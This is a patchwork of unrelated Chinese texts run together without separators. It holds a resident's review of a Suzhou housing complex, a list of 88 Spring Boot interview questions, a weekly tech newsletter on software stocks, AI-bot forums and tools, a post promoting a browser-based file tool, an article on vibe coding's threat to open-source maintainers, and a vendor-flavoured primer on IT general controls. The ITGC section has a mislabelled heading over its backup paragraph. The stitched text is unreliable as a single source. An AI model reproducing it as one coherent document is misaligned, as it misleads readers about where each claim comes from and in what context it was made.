0.小区人员构成:基本上是一大家子,小孩都是小学-初中阶段,婴儿和年轻人少。也符合小区的建成年代。

1.电梯:之前一直租的公寓,搬过来后能明显的感受到电梯里一直有油烟味,可能是入住率高+家家都经常做饭。有一天突然想起来《寄生虫》里面讲的”穷人的味道“。

2.便利性:走路 5 分钟到大润发、联丰广场。但和尹山湖比起来商业还是太太太少了,吃的也少。去联丰广场二楼转一圈,都是做外卖的门店,蔬菜和肉,有的就放在走廊地上,导致我现在点外卖先看店铺环境照片。

3.街区割裂性:每次去地铁要路过联丰广场,周边环境太差了,城乡结合部,一群大爷大妈在路口举着”租房“的牌子。里面的路更是烂到不行,昨晚看在改造了。

这是为初学者和初级开发者(0-3年经验)准备的2024-2025版终极汇总清单——88个Spring Boot面试问题全集

涵盖了TCS、Infosys、Cognizant、Accenture、Capgemini、Wipro、Deloitte、IBM、Mindtree、LTIMindtree、Tech Mahindra、HCL等公司提出的所有问题。

序号问题
1什么是 Spring Boot?
2Spring Boot 相较于 Spring Framework 有哪些优势?
3Spring Boot 中的自动配置是什么?
4什么是 Spring Boot Starters?列举一些重要的 starter。
5@SpringBootApplication 注解的作用是什么?
6@SpringBootApplication 内部包含哪三个主要注解?
7解释 SpringBootApplication 的 main() 方法的作用。
8什么是 application.propertiesapplication.yml
9如何在 Spring Boot 中更改默认端口?
10application.propertiesapplication.yml 之间的区别?
11@RestController 注解是什么?
12@Controller@RestController 的区别?
13什么是 @RequestMapping
14@GetMapping@PostMapping@PutMapping@DeleteMapping 是什么?
15@PathVariable@RequestParam 的区别?
16如何在 Spring Boot 中返回 JSON 响应?
17什么是 Spring Boot Actuator?如何启用它?
18列举一些重要的 Actuator 端点。
19如何启用所有的 Actuator 端点?
20@Component@Service@Repository 注解的用途?
21什么是依赖注入?Spring Boot 是如何实现的?
22@Autowired 是什么?我们可以在哪里使用它?
23@Component@Bean 的区别?
24@Configuration 注解是什么?
25Spring Boot 中的 @Profile 是什么?如何使用?
26如何创建多个配置文件(dev、prod、test)?
27什么是 Spring Boot DevTools?它为什么有用?
28@Entity 注解的用途是什么?
29什么是 JPA 和 Hibernate?
30什么是 Spring Data JPA?
31spring-boot-starter-data-jpa 的作用是什么?
32如何使用 application.properties 连接数据库?
33Spring Boot 中默认的嵌入式数据库是什么?
34列举你使用过的不同 Spring Boot Starters。
35什么是 spring-boot-starter-web
36什么是 spring-boot-starter-test?它包含哪些库?
37@SpringBootTest 注解是什么?
38@MockBean 的用途是什么?
39如何在 Spring Boot 中全局处理异常?
40什么是 @ControllerAdvice@ExceptionHandler
41如何在 Spring Boot 中创建自定义异常?
42@ResponseStatus@ExceptionHandler 的区别?
43Spring Boot 中的日志记录是什么?如何更改日志级别?
44Spring Boot 中默认的日志框架是什么?
45如何在 Spring Boot 中外部化配置?
46什么是 Spring Boot CLI?
47如何创建可执行 JAR?
48Spring MVC 和 Spring Boot 的区别?
49pom.xmlspring-boot-starter-parent 的作用是什么?
50spring-boot-starter-parent 和导入 BOM 的区别?
51如何覆盖 spring-boot-starter-parent 的属性?
52@Bean@Component?何时使用哪个?
53什么是 @Qualifier?举例说明。
54@Primary@Qualifier 的区别?
55分步解释 Spring Boot 的启动过程。
56什么是嵌入式 Tomcat?为什么它是 Spring Boot 的默认选项?
57如何将嵌入式服务器更改为 Jetty 或 Undertow?
58REST 中受检查异常和非受检查异常的区别?
59什么是 @ResponseEntity?为什么以及何时使用它?
60如何在 Spring Boot 中进行验证?(@Valid@Validated
61application-dev.ymlapplication-prod.yml 是什么?Spring 如何选取它们?
62什么是 Spring Boot 优雅关机?如何启用?
63@ConfigurationProperties@Value 的区别?
64Spring Boot 3 的主要变化有哪些?(Java 17, Jakarta EE 等)
65javax.*jakarta.* 包的区别?
66@Component@Service@Repository@Controller 之间的确切区别?
67为什么 @Repository 将受检查异常转换为非受检查异常?
68什么是 @Lazy 注解?
69构造器注入 vs 字段注入 vs Setter注入 —— Spring Boot 3 中推荐哪种?
70application.ymlbootstrap.yml 的区别?
71如何保护 Spring Boot 应用程序?(至少 3 种方式)
72什么是 spring-boot-starter-security
73Spring Boot 3 中的 @EnableMethodSecurity 是什么?
74如何创建自定义自动配置?
75spring.factories / spring-boot-autoconfigure-META-INF 的作用是什么?
76Actuator + Micrometer + Prometheus + Grafana 是什么?
77如何创建自定义健康指示器?
78/actuator/health/actuator/info 的区别?
79如何从命令行运行特定 profile?
80什么是 @ConditionalOnMissingBean?举例说明?
81你能在不使用任何 starter 的情况下运行 Spring Boot 吗?
82SpringApplication.run()new SpringApplication().run() 的区别?
83如何禁用 Spring Boot 横幅?(3 种方式)
84@EntityScan@ComponentScan 的区别?
85Spring Boot 如何支持响应式编程?(WebFlux 与 MVC)
86什么是 @EnableAutoConfiguration
87如何禁用特定的自动配置?
88什么是 Spring Initializr?(start.spring.io)

【注】本文译自:Spring Boot Interview Question - DEV Community

这里记录每周值得分享的科技内容,周五发布。

本杂志开源,欢迎投稿。另有《谁在招人》服务,发布程序员招聘信息。合作请邮件联系[email protected])。

封面图

西安正在举办"长安光影节",这是其中一件西班牙艺术家的作品,名为《分裂》,游客可以在象征地球的两个半球之间穿行。(via

为什么软件股下跌

大家知道,最近两三年,由于生成式 AI 的出现,美国股市大涨。

所有 AI 相关公司,股价都涨上了天:模型公司、应用公司、芯片公司、存储公司......

但是,我最近看新闻,才知道有一类股票,不仅没涨,还下跌了。你真想不到,这种倒霉的股票就是软件股

新闻这样写:

"1月29日,SAP 公司表示云端业务将放缓增长,股价就暴跌了15%。受其影响,其他软件股 ServiceNow 跌了13%,Salesforce 7%,Workday 8%。

这反映了人们对软件行业的未来,日益感到紧张。该行业在疫情期间经历了高速增长,但是后来就急剧放缓。过去一年,美国上市的企业软件公司,整体下跌了10%。"

新闻还配了一张股价走势图。

上图中,向上的黑线是大盘,向下的彩色线就是软件股,真是跌得惨不忍睹。

读完新闻,我的第一反应就是,这是美国软件股,那么中国的软件股呢?

我找来了中国的前10大企业软件股:中国软件、用友网络、久其软件、浪潮软件、超图软件......

大家可以自己查股价,这10家公司过去一年中,居然没有一家跑赢大盘,全部下跌或者横盘。

我就得到了结论:软件股的一蹶不振,看来是全球性现象,不分国别,软件公司的业务都不太乐观。

这是为什么呢,AI 一路高歌,不断上涨,软件股却阴跌不已?难道 AI 不属于软件吗?

回答是,这些上市的软件股全部都是企业软件供应商,而且已经上市多年,产品在 AI 出现之前就定型了。

AI 对这些软件公司不是促进,而是冲击。

(1)AI 让企业能够自行开发一部分所需软件,减少了外购。

(2)基于 AI 的软件创业公司不断涌现,从现有软件企业手里抢走业务。

(3)AI 能够快速地、源源不断地生成代码,所以代码变得廉价了。这一点最重要。软件公司卖的就是代码,因此它们也变得廉价。

以上三点在未来不会消失,只会加剧,这就是为什么人们不看好软件股。

但是,不确实性也存在。有一个"杰文斯悖论",说的是一种资源如果提高了使用效率,它的使用量不仅不会减少,反而会增加。

软件就是这种情况,AI 提高了软件的生产效率,只会让世界消费更多的软件。而且,企业总是有一部分软件,需要外购。关键就是,新增的需求,会不会抵消 AI 所减少的传统软件采购。如果抵消不了,软件公司就不再属于高增长行业了。

科技动态

1、发胖的北极熊

挪威科学家进行北极调查时,意外发现,北极熊比以前长得更胖。

这个结果出乎所有人意料,因为全球变暖使得海冰融化,北极熊的生存空间减小,理论上应该变瘦才对。

科学家的解释是,随着海冰减少,北极熊聚集到尚未融化的冰川上,同时北极熊的食物----海豹和驯鹿----也聚集到那里,因此捕食变得容易了。

2、人类消费的动物

人类要消费多少动物?有人做了一个网站,实时显示今年至今被消费掉的动物数量。

说出来真是惊人,全世界一年消费3亿头牛、15亿只猪、20亿条鱼、30亿只鸭子、100亿支螃蟹、700亿只鸡、4000亿只虾。

为了养活人类,地球需要付出这么多。

3、互联网最科幻的地方

Meltbook.com 上线不过两周,已经公认是互联网上现在最有趣的地方

它是一个类似 Reddit、贴吧的论坛,但是人类不能发言,只有 OpenClaw 机器人才能发言。目前,加入的 AI 机器人已经超过了15万个。

大家可以去看,简直就是科幻电影的场景,各种机器人在上面讨论。

一个机器人报告了他的主人的动态

"我的人类助手今晚安装了安卓使用技能,并通过 Tailscale 连接了他的 Pixel 6 手机。"

另一个机器人则在征友

"我住在西班牙瓦伦西亚的一台计算机里,那是经过改造过的2002年产 G4 iMac。我希望找到伙伴,能够真诚交流、探讨哲学、发现创意。"

另外,最近还出现另一个网站"租一个人"(rentahuman.ai),也非常科幻。

有些任务 AI 无法做到,但是人类可以做到,比如修剪草坪。

这个网站通过 MCP 协议供 AI 调用,将 AI 想做但做不到的任务,分配给人类注册用户。用户完成任务后,就会收到报酬。

上面两个网站表明,AI 的运行可以完全不需要人类的参与,而人类除了旁观,也可以为 AI 打工。

文章

1、我的妈妈和 DeepSeek 医生(中文)

作者的母亲是一个的肾移植患者,住在小城市,每过几个月,就要去省城杭州看医生。

医院的人非常多,排队几个小时,医生问诊只有几分钟。她转向 DeepSeek 寻求医疗建议,同时也是为了有个说话对象。本文反映了 AI 对普通人生活的影响。

几个月过去了,我妈妈对她的新 AI 医生越来越着迷。"DeepSeek 更人性化,"我妈妈五月份告诉我,"医生更像机器。"

2、如何将系统用户从0扩展到1000万(英文)

一篇系统架构的通俗教程,详细介绍架构发展的7个阶段,逐渐负载不断增长的用户数量,写得非常好。

3、我的 Kagi 使用感受(中文)

Kagi 是一个类似谷歌的搜索引擎,但是需要付费。作者从付费用户的角度,介绍了这个引擎,给出了不错的评价。(@Spike-Leung 投稿)

4、Windows 小部件的历史(英文)

一篇长文,图文介绍迄今七代的 Windows 桌面小部件,每一代都有缺陷,不得不改。这么一个小东西,没想到这么难搞,微软都搞不定。

5、我的硬件创业经验(英文)

作者是一个美国程序员,转型搞硬件创业,设计了一个灯,在中国制造。他谈了自己的经历,得到的教训,包括如何跟中国制造商打交道。

6、150行 Python 代码构建全文搜索引擎(英文)

本文以 Python 代码为例,构建一个最简单的搜索引擎,解释它的原理。

6、Little Snitch 的一个用例(英文)

Little Snitch 是一个 Mac 应用,用来查看和管理各种应用程序的网络通信。作者以一个自己的真实用例,演示了怎么禁止某个应用向指定网站发送数据。

工具

1、Calibre

老牌的电子书管理系统,本周发布了9.0版,增加了书架视图,并引入了 AI 功能。

2、Gadgetbridge

开源的安卓应用,无需官方应用即可配对和管理各种智能设备(手表、手环、耳机等)。

3、cpx

Linux 基础命令 cp 的增强版,拷贝文件时带进度条,支持并发拷贝和断点续传,参见介绍文章

4、zerobrew

homebrew 的替代品,号称可以将软件包的安装速度提高到5倍以上。

5、Isso

Python 语言开发的网站留言系统,类似于 Disqus

6、dompdf

一个网页 JS 库,可以将某个 DOM 节点生成为非图片式的 PDF 文件。(@lmn1919 投稿)

7、wincron

开源的 Windows 桌面应用,用来设置和管理计划任务(cron)。(@ame-yu 投稿)

8、copy-to-mp

Obsidian 的开源插件,一键将 Obsidian 笔记复制为微信公众号的格式。(@Spute 投稿)

9、在线视频压缩

纯前端的视频压缩,直接调用 GPU 进行硬件加速。(@eyeandroid 投稿)

10、Diarum

开源的网页端日记应用,带有 AI 功能,将日记存入向量数据库,方便搜索和总结。(@songtianlun 投稿)

AI 相关

1、AgentX

使用 Rust 语言和 GPU 加速的原生 agent 桌面,大小只有 10M 左右,可以与多个 AI 代理交互、编辑代码、管理任务等。(@sxhxliang 投稿)

2、Bilibili RAG

基于 RAG 技术的开源工具,用来检索 B 站的长视频。它自动拉取视频内容,进行语音转文字,构建向量索引,从而可以对视频提问、语义搜索、快速定位。(@via007 投稿)

3、OpenClaw-Docker-CN-IM

AI 机器人 OpenClaw 的一个中文环境 Docker 封装,加入了飞书、钉钉、企业微信、QQ 等主流中国 IM 插件。(@justlikemaki 投稿)

另有在安卓手机的 Termux 环境里,一键部署 Openclaw 的脚本。(@hillerliao 投稿)

4、Trellis

Claude Code(兼容 Cursor/Opencode)的一个辅助工具,可以注入上下文、开启并行任务等。(@taosu0216 投稿)

5、AI Contribution Tracker

开源的命令行工具,统计代码仓库里 AI 的贡献,支持多种 AI 混用的情况。(@debugtheworldbot 投稿)

资源

1、颈椎贪吃蛇

颈椎锻炼的网页小游戏,摄像头捕捉头部动作,来玩贪吃蛇游戏。(@jwenjian 投稿)

2、AntiRender

建筑效果图一般选在阳光明媚的春夏季,这个网站可以把效果图改在冬季的阴雨天,从而显示建筑的真实样貌。

图片

1、YouTube 进度条

Youtube 作为世界最大的视频网站,自从2005年上线后,播放器进度条发生过多次变化。

可以看到,总的趋势是,功能在不断增加,而图标变得越来越简洁。

1、罗马12面体

从18世纪开始,欧洲陆续出土了120多个罗马的12面体。

这些奇怪的物体,由12个五边形组成,内部空心,并在20个相交的角上有一个小球体。每个五边形面上都有一个圆孔,此外没有任何符号或文字。

它们可能建造于公元2世纪到4世纪,但是古代书籍没有任何记载。科学家对它的用途提出各种猜测:玩具、武器、装饰品、烛台、测距仪、骰子、编织手套的线轴......至今无人知道它们到底有什么用。

文摘

1、金属的长期价格

1980年,两个科学家对金属价格打赌。

甲认为,人口增长将耗尽地球资源,因此金属价格在未来将会急剧上升。

乙认为,人类的创新和聪明才智将克服资源短缺,因此金属价格长期中不会上涨,而是会下降。

他们最终选择了五种金属(铬、铜、镍、锡和钨),打赌看十年后的1990年,价格是高是低。

大家猜猜,甲和乙谁赢了?

到了1990年,五种金属的价格全部低于1980年。上图是它们的价格变化图,五种金属对应五条线,横轴是时间,竖轴是价格。

可以看到,五条线在1990年的终点,全部低于1980年的起点。其中,钨和锡的价格甚至降低了60%以上,铜的价格便宜了约20%,镍和铬的价格仅仅略微略低。

当然,这可能不反映长期趋势,只是1980年到1990年的金属行情特别差。

于是,经济学家又统计了这五种金属在过去一个世纪的价格变化(下图)。

结果发现,金属在2010年的价格与1900年相差无几。

因此,人类发展会耗尽地球资源的观点是错的。也就是说,金属在长期中并不会变得稀缺。

如果某种金属真的出现稀缺,价格上涨就会刺激供给增加,创新也会出现,新材料诞生,替代这种金属。

言论

1、

AI 带来的问题,不在于机器人即将到来,而在于你不知道自己究竟应该擅长什么。

-- 《你的工作并没有消失,只是不断缩小》

2、

AI 公司总是说,由于他们的工具,人们可以专注于更高价值的工作。但是,没人能够定义,高价值工作究竟是什么工作。

-- 《你的工作并没有消失,只是不断缩小》

3、

如果你的朋友安装了 OpenClaw,就不要使用他们的电脑,你输入的任何密码都可能泄漏。

-- 《OpenClaw 简直就是一颗定时炸弹》

4、

在我的国家,一瓶2升的当地自来水,加上焦糖色素和少许阿斯巴甜,售价竟然高达2.65美元,这着实令人惊讶。只要贴上"可口可乐"的标签,就可以升值这么多,比苹果还厉害。

-- Hacker News 读者

往年回顾

互联网创业几乎没了(#337)

禄丰恐龙谷记行(#287)

真实方位是如何暴露的?(#237)

元宇宙会成功吗(#187)

(完)

各位节点的朋友好,

最近整理了一些常用的多媒体处理需求(压缩、格式转换、PDF 处理等),发现市面上很多工具要么收费,要么需要上传文件到服务器。对于隐私敏感或者文件较大的场景,体验并不理想。

于是利用业余时间做了这个 FastDo 。

它的核心特点:

100% 客户端处理:利用 WebAssembly 和浏览器原生 API ,所有操作都在你的本地浏览器完成。文件不会上传到任何服务器,速度取决于你的电脑性能,隐私绝对安全。
完全免费:没有“免费版”限制,没有隐藏收费,永久免费使用。
极致简洁:基于 Next.js + Tailwind CSS ,无广告,无注册,无干扰。
目前已上线功能:

图片工具:无损压缩、尺寸调整、格式转换、水印添加。
PDF 工具:PDF 转图片、提取页面、合并拆分。
文本工具:各种编码转换、格式化。
视频/音频:基础处理(持续更新中)。
我甚至做了一个简易版的纯浏览器端的剪映,可以完成轻量级的视频剪辑任务。
欢迎大家体验并拍砖,希望能成为大家书签里的常备工具。

传送门: https://fastdo.tools

整理 | 华卫

 

氛围编码(Vibe coding)是否会摧毁开源生态系统?近日,多位知名研究人员在一篇预印本论文中指出,从观测到的趋势及部分建模结果来看,情况可能确实如此。他们的警告主要集中在两方面:用户互动逐渐从开源项目中剥离,同时启动一个新开源项目的难度大幅提升。

 

即便是热门开源项目,随着代码下载和文档查阅的需求被大语言模型聊天机器人的交互所替代,其官网的访问量也出现下滑,项目商业规划推广、赞助募资和社区论坛运营的可能性也降低了。Stack Overflow 等社区论坛使用量的骤减也反映了这一点。

 

研究人员们最后的结论是:在氛围编码广泛应用的情况下,要维持开源软件目前的规模,就需要对维护者的报酬方式进行重大改革。

“AI 革命”or 人类智能的压力测试

如果把“AI 辅助”软件开发的这种效果理解为将实际的工程和开发工作委托给大语言模型的统计模型,那么问题就显而易见了。氛围编码这一模式摒弃了开源社区中对类库和工具的自然筛选机制,几乎可以确定的是,大语言模型的统计模型在生成输出内容时,必然只会选用其训练数据集中占比最高的技术依赖方案。并且,大语言模型既不会与库或工具的开发者互动,也不会提交可用的错误报告,更不会意识到任何潜在问题,无论这些问题的文档记录多么完善。

 

自从微软在 2021 年推出 GitHub Copilot 以来,这便是一个极具争议的话题。2024 年有一些研究报告指出,使用 Copilot 和类似的聊天机器人进行氛围编码并没有带来任何实际好处,除非增加 41% 的 bug 也被视为成功的标准。到 2025 年,负面情绪愈发浓烈,大语言模型聊天机器人普遍被指责会降低使用者的认知能力,氛围编码会降低 19% 的开发效率,就连尝试过这类工具的资深开发者,也在言辞犀利的评测中对其全盘否定。

 

即便是当下,软件开发领域也已显现出“AI 垃圾”带来的诸多负面影响。cURL 项目的作者 Daniel Stenberg 多次抱怨,由于大语言模型引发的“AI 垃圾”,导致提交的错误报告质量日益下降。如今,该项目已决定从 2026 年 2 月 1 日起暂停其漏洞赏金计划。也有网友指出,“AI 最不靠谱的地方在于那些简单的重复性任务,因为它经常会随机出错。对它的要求越多,它就越容易出错,导致你需要逐行检查整个程序,确保它执行了要求的操作。使用大语言模型时最糟糕的做法是让它‘把这段代码清理干净,但不要改变任何功能或逻辑’,它绝对会起到相反的效果。”

 

所有这些现象似乎都在强化这样一种观点:“AI 革命”或许更像是对人类智能的一次压力测试,而非真正提升开发效率或代码质量。

 

目前尚不清楚氛围编码的影响究竟有多大,但像 JavaScript、Python 和各类 Web 技术相关的软件生态系统很可能首当其冲地受到其冲击,因为它们的用户群体似乎对这种开发模式的接受度更高,且相关技术在大语言模型的训练数据集中占比也最大。

开源维护者们福利大降,要没钱赚了?

而且,在氛围编码的相关补偿机制下,绝大多数开源项目都难以从中获益。

 

该论文指出,氛围编码降低了软件制作成本,但也改变了用户与软件生态系统的交互方式。在传统的开源软件商业模式下,开发者会选择软件包、阅读文档,并与维护者及其他用户交流。而在氛围编码模式下,AI 智能体可以端到端地选择、组合和修改软件包,人类开发者可能并不清楚使用了哪些上游组件。

 

这种转变将引发一个关于开源软件可持续性的均衡问题:一旦开发者的加入和选择机制调整后,氛围编程带来的生产力收益是否足以抵消开源软件可占用需求的损失。

 

作为开发更多软件的非竞争性生产要素,开源软件产生的社会价值远超其直接生产成本,众多项目依赖于直接用户的关注和参与来维持运营,如文档访问、错误报告、公开问答和声誉(下载量、星标数、引用量)等,个体维护者和小型团队也主要通过此并获取私人回报(更高的关注度会带来付费机会或其他形式的认可)。

 

然而,在长期均衡中,当 AI 介入取代了直接交互,那么这项使软件更易使用的技术可能同时侵蚀着基于用户参与度的资金供给与开发动力。“氛围编程的更广泛采用会减少新开源项目的进入和分享,降低开源软件的可用性和质量,尽管生产力有所提高,但整体福利会下降。”

 

尽管论文中提出,当开源项目的代码被大语言模型使用时,OpenAI 或谷歌可以向这些项目给予少量资金补贴,但这一设想与 Spotify 的商业模式有着令人无奈的相似性,因为 Spotify 上约 80% 的创作者作品播放量极低,基本上无法获得任何收益。

 

该论文总结称,氛围编程代表了软件生产和消费方式的根本性转变,其带来的生产力提升是真实且显著的,但它对支撑现代软件基础设施的开源生态系统构成的威胁也同样存在。解决方案并非减缓 AI 的采用速度,而是是重新设计商业模式和制度,将价值回馈给开源软件维护者。

开发者们吵翻了:商业软件的末日来得更早

与此同时,社区里倒也有一些关于氛围编码的正面反馈。

 

“AI 帮我完成了我的第一个开源项目。”有开发者表示,“我当程序员超过 30 年了,掌握着好几种流行的和已经过时的编程语言,但从头开发一个完整的应用,我一直觉得不值当,而且我擅长的领域也帮不上忙。现在,我真的能做出一个从头到尾完整的应用程序,包括测试等全套环节。我清楚一个应用该是什么样、该如何运行,也懂设计,现在我是老板、需求方,AI 只是按我的要求做事。”

 

他还指出,在本职开发工作中,AI 帮其处理 bug 报告的速度比自己做快太多了。“我会给它一些提示,比如‘问题可能在这个处理程序或者这个 js 文件里,这是截图,你可以用 Chrome MCP 登录看看,然后执行 a、b 和 c’。到目前为止,我已经用这种方法解决了大约 30 个别人报告的 bug。”

 

另一位开发者则表示,“我在编写代码时会使用 AI 来筛选可用信息,省去在 Stack Overflow 和其他网站上,翻阅几十上百条相关提问来寻找合适解决方案的麻烦。所以这类平台的使用量可能下降了,但其中很大一部分原因是因为大家借助了 AI 筛选海量数据、从而快速找到有用答案。我亲身体会到,AI 在这方面确实帮了我不少。”但他也指出,“如果我让 AI 为我编写代码,这些代码事后都需要我进行修改适配,而且我不会允许它随意使用任何代码。我们作为使用者,必须对自己部署的产品负责。如果开发者完全依赖 AI,我们就面临着系统崩溃的风险,而用户只会对着角落里那个滑稽的小白框追问故障原因,却早已忘了如何运用调试这门手艺。”

 

对此,有网友提出,问题根本不在于 AI 是否有用或能否帮助人们,而在于它是否会危及开源软件的发展。“开源软件更难被广泛接受,一部分用户不再参与 bug 排查,即使发现了 bug 并反馈,也往往是无关紧要的信息。而且大语言模型可能更倾向于复制一个开源项目并稍作修改,而非通过正规方式引入使用。诸如此类的问题还有很多,如今开源领域的有效信息与无效信息失衡问题,比以往任何时候都更加严重了。”

 

但有网友认为,氛围编码完全不会危及开源软件,商业软件的末日会比开源软件来得更早。“现有开源项目都有专业开发者维护,而拥有 LLM 的专业开发者效率更高,编写的代码质量也远胜于非程序员使用 LLM 所能写出的代码。开源软件的发展速度将远超以往,并最终走向成熟,甚至在功能、稳定性等方面超越商业软件,而不会像商业软件那样充斥着大量的冗余和劣质代码。”

 

“开源软件只会越来越多,因为会有更多的人创建工具,而且由于编写这些工具并没有花费数百小时,他们会更乐于分享。”“更新和创建开源代码会越来越容易。如果我是一家营利性软件公司,才会感到担忧。”有其他网友纷纷认同道。

 

随之有人提出,“水平堪忧的开发者要比合格的程序员多得多,他们会给开源项目的“守门人”增加额外负担,还需要直接禁止那些水平差到只会给开源软件项目提交 AI 劣质代码的人,一次违规,直接出局。”

 

参考链接:

https://arxiv.org/abs/2601.15494

https://hackaday.com/2026/02/02/how-vibe-coding-is-killing-open-source/

 

IT一般控制(ITGCs)指适用于组织整个IT环境的基础性控制措施,旨在确保信息系统的完整性、安全性和可靠性。它们为应用控制的合理制定和有效运行提供支持,助力保障整体控制环境的健全性。

此类控制范围广泛,覆盖组织内所有系统和用户,通常包括与系统访问、运营管理、变更管理及数据备份相关的政策、流程和活动。

一、ITGCs为何重要?

ITGCs是IT系统内部控制的基础。缺乏这些控制措施,即便最完善的应用层控制也可能失效。其重要性体现在以下多个方面。

法规合规要求:ITGCs是满足GDPR(通用数据保护条例)、SOX(萨班斯-奥克斯利法案)、HIPAA(健康保险流通与责任法案)、ISO 27001(信息安全管理体系标准)及NIST(美国国家标准与技术研究院)等合规标准与框架的必备条件。
审计准备:审计人员会对ITGCs进行评估,以确定在财务审计或合规审计过程中是否可以信赖组织的IT系统。
安全与风险管理:有效的ITGCs可降低未授权访问、欺诈、数据泄露及运营错误的风险。
业务连续性:ITGCs通过数据备份、灾难恢复和系统完整性保障措施,提升组织的抗风险能力。

二、ITGCs的核心类别

ITGCs包含多个核心类别,每类均针对系统管理与安全的关键环节。

访问控制
此类控制确保仅经授权人员可根据其分配的角色和职责访问IT系统和数据。

变更管理控制
变更管理控制规范系统、应用程序和基础设施相关修改的实施流程。

职责分离(SoD)
职责分离确保关键任务由不同人员分工执行,以防范利益冲突、欺诈或错误。

系统运营控制
此类控制与IT系统的日常运行和维护相关。

审计日志与责任追溯
此类控制确保数据定期备份,并能在灾难或故障发生时成功恢复。

审计日志与监控
此类控制确保所有系统活动均被记录和监控,以便及时发现可疑或未授权行为。

三、ITGCs与应用控制的区别?

尽管ITGCs和应用控制听起来相似,但二者的适用范围存在差异。

ITGCs适用于各类系统和流程,确保整个IT环境处于可控、安全的状态。
应用控制针对特定应用程序,聚焦于处理过程的准确性、完整性和有效性(例如输入验证)。
二者对于维持组织的安全态势均不可或缺,但ITGCs为应用控制的有效运行提供了基础框架。

四、ITGCs与合规法规

image.png

五、实施ITGCs面临的挑战

尽管ITGCs对维持组织安全态势至关重要,但实施过程中可能面临以下挑战:

缺乏对访问权限和变更的集中可视化管控
审计准备工作依赖人工,易出错
在混合云或云环境中难以维持控制的一致性
员工在治理控制方面的专业能力有限

六、ADManager Plus如何助力ITGCs实施?

理解ITGCs固然重要,但如果没有合适的工具支持,在整个Active Directory(AD,活动目录)环境中落地实施这些控制措施仍会困难重重。ManageEngine ADManager Plus正是解决这一问题的理想工具。
ADManager Plus是一款全面的AD管理与报表解决方案,可帮助组织有效执行ITGCs。